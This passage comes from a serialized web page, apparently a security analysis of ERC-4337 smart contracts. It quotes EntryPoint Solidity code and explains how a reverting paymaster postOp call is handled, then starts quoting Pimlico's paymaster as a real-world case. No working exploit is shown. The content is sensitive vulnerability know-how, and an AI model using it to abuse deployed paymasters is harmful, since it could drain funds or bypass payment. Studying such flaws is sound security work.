IPaymaster.PostOpMode.opSucceeded;\n",{"type":21,"tag":198,"props":106189,"children":106190},{"class":200,"line":344},[106191,106195,106200,106204,106208],{"type":21,"tag":198,"props":106192,"children":106193},{"style":640},[106194],{"type":27,"value":4079},{"type":21,"tag":198,"props":106196,"children":106197},{"style":211},[106198],{"type":27,"value":106199}," (callData.length ",{"type":21,"tag":198,"props":106201,"children":106202},{"style":683},[106203],{"type":27,"value":11270},{"type":21,"tag":198,"props":106205,"children":106206},{"style":2540},[106207],{"type":27,"value":3855},{"type":21,"tag":198,"props":106209,"children":106210},{"style":211},[106211],{"type":27,"value":668},{"type":21,"tag":198,"props":106213,"children":106214},{"class":200,"line":365},[106215,106220,106225,106229,106234,106238,106243,106247],{"type":21,"tag":198,"props":106216,"children":106217},{"style":1966},[106218],{"type":27,"value":106219}," bool",{"type":21,"tag":198,"props":106221,"children":106222},{"style":211},[106223],{"type":27,"value":106224}," success ",{"type":21,"tag":198,"props":106226,"children":106227},{"style":683},[106228],{"type":27,"value":3174},{"type":21,"tag":198,"props":106230,"children":106231},{"style":211},[106232],{"type":27,"value":106233}," Exec.",{"type":21,"tag":198,"props":106235,"children":106236},{"style":698},[106237],{"type":27,"value":39054},{"type":21,"tag":198,"props":106239,"children":106240},{"style":211},[106241],{"type":27,"value":106242},"(mUserOp.sender, ",{"type":21,"tag":198,"props":106244,"children":106245},{"style":2540},[106246],{"type":27,"value":3482},{"type":21,"tag":198,"props":106248,"children":106249},{"style":211},[106250],{"type":27,"value":106251},", callData, callGasLimit);\n",{"type":21,"tag":198,"props":106253,"children":106254},{"class":200,"line":386},[106255,106259,106263,106267],{"type":21,"tag":198,"props":106256,"children":106257},{"style":640},[106258],{"type":27,"value":59178},{"type":21,"tag":198,"props":106260,"children":106261},{"style":211},[106262],{"type":27,"value":648},{"type":21,"tag":198,"props":106264,"children":106265},{"style":683},[106266],{"type":27,"value":686},{"type":21,"tag":198,"props":106268,"children":106269},{"style":211},[106270],{"type":27,"value":105555},{"type":21,"tag":198,"props":106272,"children":106273},{"class":200,"line":408},[106274,106278,106283,106287,106292],{"type":21,"tag":198,"props":106275,"children":106276},{"style":1966},[106277],{"type":27,"value":103842},{"type":21,"tag":198,"props":106279,"children":106280},{"style":211},[106281],{"type":27,"value":106282}," freePtr ",{"type":21,"tag":198,"props":106284,"children":106285},{"style":683},[106286],{"type":27,"value":3174},{"type":21,"tag":198,"props":106288,"children":106289},{"style":698},[106290],{"type":27,"value":106291}," _getFreePtr",{"type":21,"tag":198,"props":106293,"children":106294},{"style":211},[106295],{"type":27,"value":3404},{"type":21,"tag":198,"props":106297,"children":106298},{"class":200,"line":429},[106299,106303,106307,106312,106316,106320,106325],{"type":21,"tag":198,"props":106300,"children":106301},{"style":1966},[106302],{"type":27,"value":105239},{"type":21,"tag":198,"props":106304,"children":106305},{"style":249},[106306],{"type":27,"value":103462},{"type":21,"tag":198,"props":106308,"children":106309},{"style":211},[106310],{"type":27,"value":106311}," result ",{"type":21,"tag":198,"props":106313,"children":106314},{"style":683},[106315],{"type":27,"value":3174},{"type":21,"tag":198,"props":106317,"children":106318},{"style":211},[106319],{"type":27,"value":106233},{"type":21,"tag":198,"props":106321,"children":106322},{"style":698},[106323],{"type":27,"value":106324},"getReturnData",{"type":21,"tag":198,"props":106326,"children":106327},{"style":211},[106328],{"type":27,"value":106329},"(REVERT_REASON_MAX_LEN);\n",{"type":21,"tag":198,"props":106331,"children":106332},{"class":200,"line":450},[106333,106337,106342,106346,106350],{"type":21,"tag":198,"props":106334,"children":106335},{"style":640},[106336],{"type":27,"value":103902},{"type":21,"tag":198,"props":106338,"children":106339},{"style":211},[106340],{"type":27,"value":106341}," (result.length ",{"type":21,"tag":198,"props":106343,"children":106344},{"style":683},[106345],{"type":27,"value":11270},{"type":21,"tag":198,"props":106347,"children":106348},{"style":2540},[106349],{"type":27,"value":3855},{"type":21,"tag":198,"props":106351,"children":106352},{"style":211},[106353],{"type":27,"value":668},{"type":21,"tag":198,"props":106355,"children":106356},{"class":200,"line":468},[106357,106362,106367],{"type":21,"tag":198,"props":106358,"children":106359},{"style":640},[106360],{"type":27,"value":106361}," emit",{"type":21,"tag":198,"props":106363,"children":106364},{"style":698},[106365],{"type":27,"value":106366}," UserOperationRevertReason",{"type":21,"tag":198,"props":106368,"children":106369},{"style":211},[106370],{"type":27,"value":4268},{"type":21,"tag":198,"props":106372,"children":106373},{"class":200,"line":477},[106374],{"type":21,"tag":198,"props":106375,"children":106376},{"style":211},[106377],{"type":27,"value":106378}," opInfo.userOpHash,\n",{"type":21,"tag":198,"props":106380,"children":106381},{"class":200,"line":494},[106382],{"type":21,"tag":198,"props":106383,"children":106384},{"style":211},[106385],{"type":27,"value":106386}," mUserOp.sender,\n",{"type":21,"tag":198,"props":106388,"children":106389},{"class":200,"line":515},[106390],{"type":21,"tag":198,"props":106391,"children":106392},{"style":211},[106393],{"type":27,"value":106394}," mUserOp.nonce,\n",{"type":21,"tag":198,"props":106396,"children":106397},{"class":200,"line":4484},[106398],{"type":21,"tag":198,"props":106399,"children":106400},{"style":211},[106401],{"type":27,"value":106402}," result\n",{"type":21,"tag":198,"props":106404,"children":106405},{"class":200,"line":4493},[106406],{"type":21,"tag":198,"props":106407,"children":106408},{"style":211},[106409],{"type":27,"value":106410}," );\n",{"type":21,"tag":198,"props":106412,"children":106413},{"class":200,"line":4561},[106414],{"type":21,"tag":198,"props":106415,"children":106416},{"style":211},[106417],{"type":27,"value":71451},{"type":21,"tag":198,"props":106419,"children":106420},{"class":200,"line":4569},[106421,106426],{"type":21,"tag":198,"props":106422,"children":106423},{"style":698},[106424],{"type":27,"value":106425}," _restoreFreePtr",{"type":21,"tag":198,"props":106427,"children":106428},{"style":211},[106429],{"type":27,"value":106430},"(freePtr);\n",{"type":21,"tag":198,"props":106432,"children":106433},{"class":200,"line":4599},[106434,106439,106443],{"type":21,"tag":198,"props":106435,"children":106436},{"style":211},[106437],{"type":27,"value":106438}," mode ",{"type":21,"tag":198,"props":106440,"children":106441},{"style":683},[106442],{"type":27,"value":3174},{"type":21,"tag":198,"props":106444,"children":106445},{"style":211},[106446],{"type":27,"value":106447}," IPaymaster.PostOpMode.opReverted;\n",{"type":21,"tag":198,"props":106449,"children":106450},{"class":200,"line":4607},[106451],{"type":21,"tag":198,"props":106452,"children":106453},{"style":211},[106454],{"type":27,"value":59262},{"type":21,"tag":198,"props":106456,"children":106457},{"class":200,"line":4638},[106458],{"type":21,"tag":198,"props":106459,"children":106460},{"style":211},[106461],{"type":27,"value":1160},{"type":21,"tag":198,"props":106463,"children":106464},{"class":200,"line":4646},[106465],{"type":21,"tag":198,"props":106466,"children":106467},{"emptyLinePlaceholder":16},[106468],{"type":27,"value":1283},{"type":21,"tag":198,"props":106470,"children":106471},{"class":200,"line":4706},[106472,106476],{"type":21,"tag":198,"props":106473,"children":106474},{"style":640},[106475],{"type":27,"value":103498},{"type":21,"tag":198,"props":106477,"children":106478},{"style":211},[106479],{"type":27,"value":233},{"type":21,"tag":198,"props":106481,"children":106482},{"class":200,"line":9857},[106483,106487,106491,106495,106499,106503,106507,106511,106515],{"type":21,"tag":198,"props":106484,"children":106485},{"style":1966},[106486],{"type":27,"value":103510},{"type":21,"tag":198,"props":106488,"children":106489},{"style":211},[106490],{"type":27,"value":105674},{"type":21,"tag":198,"props":106492,"children":106493},{"style":683},[106494],{"type":27,"value":3174},{"type":21,"tag":198,"props":106496,"children":106497},{"style":211},[106498],{"type":27,"value":105683},{"type":21,"tag":198,"props":106500,"children":106501},{"style":683},[106502],{"type":27,"value":5139},{"type":21,"tag":198,"props":106504,"children":106505},{"style":249},[106506],{"type":27,"value":105692},{"type":21,"tag":198,"props":106508,"children":106509},{"style":211},[106510],{"type":27,"value":14850},{"type":21,"tag":198,"props":106512,"children":106513},{"style":683},[106514],{"type":27,"value":5193},{"type":21,"tag":198,"props":106516,"children":106517},{"style":211},[106518],{"type":27,"value":105705},{"type":21,"tag":198,"props":106520,"children":106521},{"class":200,"line":9875},[106522,106526,106530],{"type":21,"tag":198,"props":106523,"children":106524},{"style":640},[106525],{"type":27,"value":79458},{"type":21,"tag":198,"props":106527,"children":106528},{"style":698},[106529],{"type":27,"value":105814},{"type":21,"tag":198,"props":106531,"children":106532},{"style":211},[106533],{"type":27,"value":106534},"(mode, opInfo, context, actualGas);\n",{"type":21,"tag":198,"props":106536,"children":106537},{"class":200,"line":9920},[106538],{"type":21,"tag":198,"props":106539,"children":106540},{"style":211},[106541],{"type":27,"value":1160},{"type":21,"tag":198,"props":106543,"children":106544},{"class":200,"line":10026},[106545],{"type":21,"tag":198,"props":106546,"children":106547},{"style":211},[106548],{"type":27,"value":880},{"type":21,"tag":30,"props":106550,"children":106551},{},[106552,106554,106559,106561,106566,106568,106574,106576,106582,106584,106589,106591,106601],{"type":27,"value":106553},"We observe that, in the happy path, ",{"type":21,"tag":194,"props":106555,"children":106557},{"className":106556},[],[106558],{"type":27,"value":105905},{"type":27,"value":106560}," is expected to not only execute the actual ",{"type":21,"tag":194,"props":106562,"children":106564},{"className":106563},[],[106565],{"type":27,"value":102564},{"type":27,"value":106567}," call, but also call ",{"type":21,"tag":194,"props":106569,"children":106571},{"className":106570},[],[106572],{"type":27,"value":106573},"_postExecution",{"type":27,"value":106575},". This means that the third failure handling path, which passes ",{"type":21,"tag":194,"props":106577,"children":106579},{"className":106578},[],[106580],{"type":27,"value":106581},"postOpReverted",{"type":27,"value":106583}," as its mode, happens when something goes wrong with the ",{"type":21,"tag":194,"props":106585,"children":106587},{"className":106586},[],[106588],{"type":27,"value":106573},{"type":27,"value":106590}," call ",{"type":21,"tag":6137,"props":106592,"children":106593},{},[106594,106596],{"type":27,"value":106595},"inside ",{"type":21,"tag":194,"props":106597,"children":106599},{"className":106598},[],[106600],{"type":27,"value":105905},{"type":27,"value":658},{"type":21,"tag":30,"props":106603,"children":106604},{},[106605,106607,106612],{"type":27,"value":106606},"Let's examine the ",{"type":21,"tag":194,"props":106608,"children":106610},{"className":106609},[],[106611],{"type":27,"value":106573},{"type":27,"value":106613}," code to understand where the revert might occur.",{"type":21,"tag":187,"props":106615,"children":106617},{"className":5287,"code":106616,"language":5286,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[106618],{"type":21,"tag":194,"props":106619,"children":106620},{"__ignoreMap":7},[106621,106636,106661,106680,106699,106711,106748,106755,106787,106804,106819,106835,106859,106884,106908,106930,106948,106965,106973,106991,107007,107040,107058,107065,107072,107080,107096,107128,107150,107157,107164,107171],{"type":21,"tag":198,"props":106622,"children":106623},{"class":200,"line":201},[106624,106628,106632],{"type":21,"tag":198,"props":106625,"children":106626},{"style":249},[106627],{"type":27,"value":90213},{"type":21,"tag":198,"props":106629,"children":106630},{"style":698},[106631],{"type":27,"value":105814},{"type":21,"tag":198,"props":106633,"children":106634},{"style":211},[106635],{"type":27,"value":4268},{"type":21,"tag":198,"props":106637,"children":106638},{"class":200,"line":217},[106639,106644,106648,106652,106657],{"type":21,"tag":198,"props":106640,"children":106641},{"style":249},[106642],{"type":27,"value":106643}," IPaymaster",{"type":21,"tag":198,"props":106645,"children":106646},{"style":211},[106647],{"type":27,"value":658},{"type":21,"tag":198,"props":106649,"children":106650},{"style":226},[106651],{"type":27,"value":104174},{"type":21,"tag":198,"props":106653,"children":106654},{"style":226},[106655],{"type":27,"value":106656}," mode",{"type":21,"tag":198,"props":106658,"children":106659},{"style":211},[106660],{"type":27,"value":257},{"type":21,"tag":198,"props":106662,"children":106663},{"class":200,"line":236},[106664,106668,106672,106676],{"type":21,"tag":198,"props":106665,"children":106666},{"style":249},[106667],{"type":27,"value":105122},{"type":21,"tag":198,"props":106669,"children":106670},{"style":249},[106671],{"type":27,"value":103462},{"type":21,"tag":198,"props":106673,"children":106674},{"style":226},[106675],{"type":27,"value":106110},{"type":21,"tag":198,"props":106677,"children":106678},{"style":211},[106679],{"type":27,"value":257},{"type":21,"tag":198,"props":106681,"children":106682},{"class":200,"line":260},[106683,106687,106691,106695],{"type":21,"tag":198,"props":106684,"children":106685},{"style":1966},[106686],{"type":27,"value":106081},{"type":21,"tag":198,"props":106688,"children":106689},{"style":249},[106690],{"type":27,"value":103462},{"type":21,"tag":198,"props":106692,"children":106693},{"style":226},[106694],{"type":27,"value":76722},{"type":21,"tag":198,"props":106696,"children":106697},{"style":211},[106698],{"type":27,"value":257},{"type":21,"tag":198,"props":106700,"children":106701},{"class":200,"line":281},[106702,106706],{"type":21,"tag":198,"props":106703,"children":106704},{"style":1966},[106705],{"type":27,"value":90391},{"type":21,"tag":198,"props":106707,"children":106708},{"style":226},[106709],{"type":27,"value":106710}," actualGas\n",{"type":21,"tag":198,"props":106712,"children":106713},{"class":200,"line":302},[106714,106718,106723,106728,106732,106736,106740,106744],{"type":21,"tag":198,"props":106715,"children":106716},{"style":211},[106717],{"type":27,"value":106138},{"type":21,"tag":198,"props":106719,"children":106720},{"style":249},[106721],{"type":27,"value":106722},"internal",{"type":21,"tag":198,"props":106724,"children":106725},{"style":249},[106726],{"type":27,"value":106727}," virtual",{"type":21,"tag":198,"props":106729,"children":106730},{"style":640},[106731],{"type":27,"value":76375},{"type":21,"tag":198,"props":106733,"children":106734},{"style":211},[106735],{"type":27,"value":648},{"type":21,"tag":198,"props":106737,"children":106738},{"style":1966},[106739],{"type":27,"value":46926},{"type":21,"tag":198,"props":106741,"children":106742},{"style":226},[106743],{"type":27,"value":104203},{"type":21,"tag":198,"props":106745,"children":106746},{"style":211},[106747],{"type":27,"value":668},{"type":21,"tag":198,"props":106749,"children":106750},{"class":200,"line":323},[106751],{"type":21,"tag":198,"props":106752,"children":106753},{"style":211},[106754],{"type":27,"value":105183},{"type":21,"tag":198,"props":106756,"children":106757},{"class":200,"line":344},[106758,106762,106767,106771,106775,106779,106783],{"type":21,"tag":198,"props":106759,"children":106760},{"style":640},[106761],{"type":27,"value":59178},{"type":21,"tag":198,"props":106763,"children":106764},{"style":211},[106765],{"type":27,"value":106766}," (paymaster ",{"type":21,"tag":198,"props":106768,"children":106769},{"style":683},[106770],{"type":27,"value":9386},{"type":21,"tag":198,"props":106772,"children":106773},{"style":1966},[106774],{"type":27,"value":7062},{"type":21,"tag":198,"props":106776,"children":106777},{"style":211},[106778],{"type":27,"value":706},{"type":21,"tag":198,"props":106780,"children":106781},{"style":2540},[106782],{"type":27,"value":3482},{"type":21,"tag":198,"props":106784,"children":106785},{"style":211},[106786],{"type":27,"value":724},{"type":21,"tag":198,"props":106788,"children":106789},{"class":200,"line":365},[106790,106795,106799],{"type":21,"tag":198,"props":106791,"children":106792},{"style":211},[106793],{"type":27,"value":106794}," refundAddress ",{"type":21,"tag":198,"props":106796,"children":106797},{"style":683},[106798],{"type":27,"value":3174},{"type":21,"tag":198,"props":106800,"children":106801},{"style":211},[106802],{"type":27,"value":106803}," mUserOp.sender;\n",{"type":21,"tag":198,"props":106805,"children":106806},{"class":200,"line":386},[106807,106811,106815],{"type":21,"tag":198,"props":106808,"children":106809},{"style":211},[106810],{"type":27,"value":70974},{"type":21,"tag":198,"props":106812,"children":106813},{"style":640},[106814],{"type":27,"value":4122},{"type":21,"tag":198,"props":106816,"children":106817},{"style":211},[106818],{"type":27,"value":233},{"type":21,"tag":198,"props":106820,"children":106821},{"class":200,"line":408},[106822,106826,106830],{"type":21,"tag":198,"props":106823,"children":106824},{"style":211},[106825],{"type":27,"value":106794},{"type":21,"tag":198,"props":106827,"children":106828},{"style":683},[106829],{"type":27,"value":3174},{"type":21,"tag":198,"props":106831,"children":106832},{"style":211},[106833],{"type":27,"value":106834}," paymaster;\n",{"type":21,"tag":198,"props":106836,"children":106837},{"class":200,"line":429},[106838,106842,106847,106851,106855],{"type":21,"tag":198,"props":106839,"children":106840},{"style":640},[106841],{"type":27,"value":103902},{"type":21,"tag":198,"props":106843,"children":106844},{"style":211},[106845],{"type":27,"value":106846}," (context.length ",{"type":21,"tag":198,"props":106848,"children":106849},{"style":683},[106850],{"type":27,"value":11270},{"type":21,"tag":198,"props":106852,"children":106853},{"style":2540},[106854],{"type":27,"value":3855},{"type":21,"tag":198,"props":106856,"children":106857},{"style":211},[106858],{"type":27,"value":668},{"type":21,"tag":198,"props":106860,"children":106861},{"class":200,"line":450},[106862,106867,106871,106875,106879],{"type":21,"tag":198,"props":106863,"children":106864},{"style":211},[106865],{"type":27,"value":106866}," actualGasCost ",{"type":21,"tag":198,"props":106868,"children":106869},{"style":683},[106870],{"type":27,"value":3174},{"type":21,"tag":198,"props":106872,"children":106873},{"style":211},[106874],{"type":27,"value":105674},{"type":21,"tag":198,"props":106876,"children":106877},{"style":683},[106878],{"type":27,"value":5383},{"type":21,"tag":198,"props":106880,"children":106881},{"style":211},[106882],{"type":27,"value":106883}," gasPrice;\n",{"type":21,"tag":198,"props":106885,"children":106886},{"class":200,"line":468},[106887,106891,106896,106900,106904],{"type":21,"tag":198,"props":106888,"children":106889},{"style":1966},[106890],{"type":27,"value":103859},{"type":21,"tag":198,"props":106892,"children":106893},{"style":211},[106894],{"type":27,"value":106895}," postOpPreGas ",{"type":21,"tag":198,"props":106897,"children":106898},{"style":683},[106899],{"type":27,"value":3174},{"type":21,"tag":198,"props":106901,"children":106902},{"style":249},[106903],{"type":27,"value":105692},{"type":21,"tag":198,"props":106905,"children":106906},{"style":211},[106907],{"type":27,"value":3404},{"type":21,"tag":198,"props":106909,"children":106910},{"class":200,"line":477},[106911,106916,106921,106925],{"type":21,"tag":198,"props":106912,"children":106913},{"style":640},[106914],{"type":27,"value":106915}," if",{"type":21,"tag":198,"props":106917,"children":106918},{"style":211},[106919],{"type":27,"value":106920}," (mode ",{"type":21,"tag":198,"props":106922,"children":106923},{"style":683},[106924],{"type":27,"value":16491},{"type":21,"tag":198,"props":106926,"children":106927},{"style":211},[106928],{"type":27,"value":106929}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":21,"tag":198,"props":106931,"children":106932},{"class":200,"line":494},[106933,106938,106943],{"type":21,"tag":198,"props":106934,"children":106935},{"style":640},[106936],{"type":27,"value":106937}," try",{"type":21,"tag":198,"props":106939,"children":106940},{"style":698},[106941],{"type":27,"value":106942}," IPaymaster",{"type":21,"tag":198,"props":106944,"children":106945},{"style":211},[106946],{"type":27,"value":106947},"(paymaster).postOp{\n",{"type":21,"tag":198,"props":106949,"children":106950},{"class":200,"line":515},[106951,106956,106960],{"type":21,"tag":198,"props":106952,"children":106953},{"style":211},[106954],{"type":27,"value":106955}," gas",{"type":21,"tag":198,"props":106957,"children":106958},{"style":683},[106959],{"type":27,"value":185},{"type":21,"tag":198,"props":106961,"children":106962},{"style":211},[106963],{"type":27,"value":106964}," mUserOp.paymasterPostOpGasLimit\n",{"type":21,"tag":198,"props":106966,"children":106967},{"class":200,"line":4484},[106968],{"type":21,"tag":198,"props":106969,"children":106970},{"style":211},[106971],{"type":27,"value":106972}," }(mode, context, actualGasCost, gasPrice)\n",{"type":21,"tag":198,"props":106974,"children":106975},{"class":200,"line":4493},[106976,106981,106986],{"type":21,"tag":198,"props":106977,"children":106978},{"style":1233},[106979],{"type":27,"value":106980}," // ",{"type":21,"tag":198,"props":106982,"children":106983},{"style":249},[106984],{"type":27,"value":106985},"solhint-disable",{"type":21,"tag":198,"props":106987,"children":106988},{"style":1233},[106989],{"type":27,"value":106990},"-next-line no-empty-blocks\n",{"type":21,"tag":198,"props":106992,"children":106993},{"class":200,"line":4561},[106994,106999,107003],{"type":21,"tag":198,"props":106995,"children":106996},{"style":211},[106997],{"type":27,"value":106998}," {} ",{"type":21,"tag":198,"props":107000,"children":107001},{"style":640},[107002],{"type":27,"value":1498},{"type":21,"tag":198,"props":107004,"children":107005},{"style":211},[107006],{"type":27,"value":233},{"type":21,"tag":198,"props":107008,"children":107009},{"class":200,"line":4569},[107010,107015,107019,107024,107028,107032,107036],{"type":21,"tag":198,"props":107011,"children":107012},{"style":1966},[107013],{"type":27,"value":107014}," bytes",{"type":21,"tag":198,"props":107016,"children":107017},{"style":249},[107018],{"type":27,"value":103462},{"type":21,"tag":198,"props":107020,"children":107021},{"style":211},[107022],{"type":27,"value":107023}," reason ",{"type":21,"tag":198,"props":107025,"children":107026},{"style":683},[107027],{"type":27,"value":3174},{"type":21,"tag":198,"props":107029,"children":107030},{"style":211},[107031],{"type":27,"value":106233},{"type":21,"tag":198,"props":107033,"children":107034},{"style":698},[107035],{"type":27,"value":106324},{"type":21,"tag":198,"props":107037,"children":107038},{"style":211},[107039],{"type":27,"value":106329},{"type":21,"tag":198,"props":107041,"children":107042},{"class":200,"line":4599},[107043,107048,107053],{"type":21,"tag":198,"props":107044,"children":107045},{"style":640},[107046],{"type":27,"value":107047}," revert",{"type":21,"tag":198,"props":107049,"children":107050},{"style":698},[107051],{"type":27,"value":107052}," PostOpReverted",{"type":21,"tag":198,"props":107054,"children":107055},{"style":211},[107056],{"type":27,"value":107057},"(reason);\n",{"type":21,"tag":198,"props":107059,"children":107060},{"class":200,"line":4607},[107061],{"type":21,"tag":198,"props":107062,"children":107063},{"style":211},[107064],{"type":27,"value":71358},{"type":21,"tag":198,"props":107066,"children":107067},{"class":200,"line":4638},[107068],{"type":21,"tag":198,"props":107069,"children":107070},{"style":211},[107071],{"type":27,"value":71443},{"type":21,"tag":198,"props":107073,"children":107074},{"class":200,"line":4646},[107075],{"type":21,"tag":198,"props":107076,"children":107077},{"style":1233},[107078],{"type":27,"value":107079}," // Calculating a penalty for unused postOp gas\n",{"type":21,"tag":198,"props":107081,"children":107082},{"class":200,"line":4706},[107083,107087,107091],{"type":21,"tag":198,"props":107084,"children":107085},{"style":1233},[107086],{"type":27,"value":103924},{"type":21,"tag":198,"props":107088,"children":107089},{"style":249},[107090],{"type":27,"value":67138},{"type":21,"tag":198,"props":107092,"children":107093},{"style":1233},[107094],{"type":27,"value":107095}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":21,"tag":198,"props":107097,"children":107098},{"class":200,"line":9857},[107099,107103,107108,107112,107116,107120,107124],{"type":21,"tag":198,"props":107100,"children":107101},{"style":1966},[107102],{"type":27,"value":103859},{"type":21,"tag":198,"props":107104,"children":107105},{"style":211},[107106],{"type":27,"value":107107}," postOpGasUsed ",{"type":21,"tag":198,"props":107109,"children":107110},{"style":683},[107111],{"type":27,"value":3174},{"type":21,"tag":198,"props":107113,"children":107114},{"style":211},[107115],{"type":27,"value":106895},{"type":21,"tag":198,"props":107117,"children":107118},{"style":683},[107119],{"type":27,"value":5139},{"type":21,"tag":198,"props":107121,"children":107122},{"style":249},[107123],{"type":27,"value":105692},{"type":21,"tag":198,"props":107125,"children":107126},{"style":211},[107127],{"type":27,"value":3404},{"type":21,"tag":198,"props":107129,"children":107130},{"class":200,"line":9875},[107131,107136,107140,107145],{"type":21,"tag":198,"props":107132,"children":107133},{"style":211},[107134],{"type":27,"value":107135}," postOpUnusedGasPenalty ",{"type":21,"tag":198,"props":107137,"children":107138},{"style":683},[107139],{"type":27,"value":3174},{"type":21,"tag":198,"props":107141,"children":107142},{"style":698},[107143],{"type":27,"value":107144}," _getUnusedGasPenalty",{"type":21,"tag":198,"props":107146,"children":107147},{"style":211},[107148],{"type":27,"value":107149},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":21,"tag":198,"props":107151,"children":107152},{"class":200,"line":9920},[107153],{"type":21,"tag":198,"props":107154,"children":107155},{"style":211},[107156],{"type":27,"value":71451},{"type":21,"tag":198,"props":107158,"children":107159},{"class":200,"line":10026},[107160],{"type":21,"tag":198,"props":107161,"children":107162},{"style":211},[107163],{"type":27,"value":59262},{"type":21,"tag":198,"props":107165,"children":107166},{"class":200,"line":24302},[107167],{"type":21,"tag":198,"props":107168,"children":107169},{"style":211},[107170],{"type":27,"value":105183},{"type":21,"tag":198,"props":107172,"children":107173},{"class":200,"line":24337},[107174],{"type":21,"tag":198,"props":107175,"children":107176},{"style":211},[107177],{"type":27,"value":880},{"type":21,"tag":30,"props":107179,"children":107180},{},[107181,107183,107188,107190,107196,107198,107204,107206,107211,107213,107218,107220,107225,107227,107232,107234,107239,107241,107246],{"type":27,"value":107182},"It turns out that if the ",{"type":21,"tag":194,"props":107184,"children":107186},{"className":107185},[],[107187],{"type":27,"value":102763},{"type":27,"value":107189}," call fails, it will revert with ",{"type":21,"tag":194,"props":107191,"children":107193},{"className":107192},[],[107194],{"type":27,"value":107195},"PostOpReverted",{"type":27,"value":107197},". However, as we can see in the previous code of ",{"type":21,"tag":194,"props":107199,"children":107201},{"className":107200},[],[107202],{"type":27,"value":107203},"_executeUserOp",{"type":27,"value":107205},", even though ",{"type":21,"tag":194,"props":107207,"children":107209},{"className":107208},[],[107210],{"type":27,"value":105905},{"type":27,"value":107212}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":21,"tag":194,"props":107214,"children":107216},{"className":107215},[],[107217],{"type":27,"value":106573},{"type":27,"value":107219}," call with ",{"type":21,"tag":194,"props":107221,"children":107223},{"className":107222},[],[107224],{"type":27,"value":106581},{"type":27,"value":107226}," mode, and it won't try to call ",{"type":21,"tag":194,"props":107228,"children":107230},{"className":107229},[],[107231],{"type":27,"value":102763},{"type":27,"value":107233}," again. This means the ",{"type":21,"tag":194,"props":107235,"children":107237},{"className":107236},[],[107238],{"type":27,"value":102624},{"type":27,"value":107240}," still gets paid for submitting the failed ",{"type":21,"tag":194,"props":107242,"children":107244},{"className":107243},[],[107245],{"type":27,"value":102564},{"type":27,"value":658},{"type":21,"tag":30,"props":107248,"children":107249},{},[107250,107252,107257,107259,107264,107266,107273],{"type":27,"value":107251},"Now that we understand this behavior where ",{"type":21,"tag":194,"props":107253,"children":107255},{"className":107254},[],[107256],{"type":27,"value":102763},{"type":27,"value":107258}," is allowed to fail while the ",{"type":21,"tag":194,"props":107260,"children":107262},{"className":107261},[],[107263],{"type":27,"value":102624},{"type":27,"value":107265}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":21,"tag":34,"props":107267,"children":107270},{"href":107268,"rel":107269},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[38],[107271],{"type":27,"value":107272},"Pimlico",{"type":27,"value":658},{"type":21,"tag":187,"props":107275,"children":107277},{"className":5287,"code":107276,"language":5286,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[107278],{"type":21,"tag":194,"props":107279,"children":107280},{"__ignoreMap":7},[107281,107296,107313,107333,107349,107361,107368,107375,107382,107413,107420,107445,107453,107460,107467,107496,107503,107519,107541,107548,107564,107614,107621,107637,107645,107678,107711,107719,107726,107733,107776,107783,107832,107858,107865,107872,107889],{"type":21,"tag":198,"props":107282,"children":107283},{"class":200,"line":201},[107284,107288,107292],{"type":21,"tag":198,"props":107285,"children":107286},{"style":249},[107287],{"type":27,"value":90213},{"type":21,"tag":198,"props":107289,"children":107290},{"style":698},[107291],{"type":27,"value":104165},{"type":21,"tag":198,"props":107293,"children":107294},{"style":211},[107295],{"type":27,"value":4268},{"type":21,"tag":198,"props":107297,"children":107298},{"class":200,"line":217},[107299,107304,107308],{"type":21,"tag":198,"props":107300,"children":107301},{"style":249},[107302],{"type":27,"value":107303}," 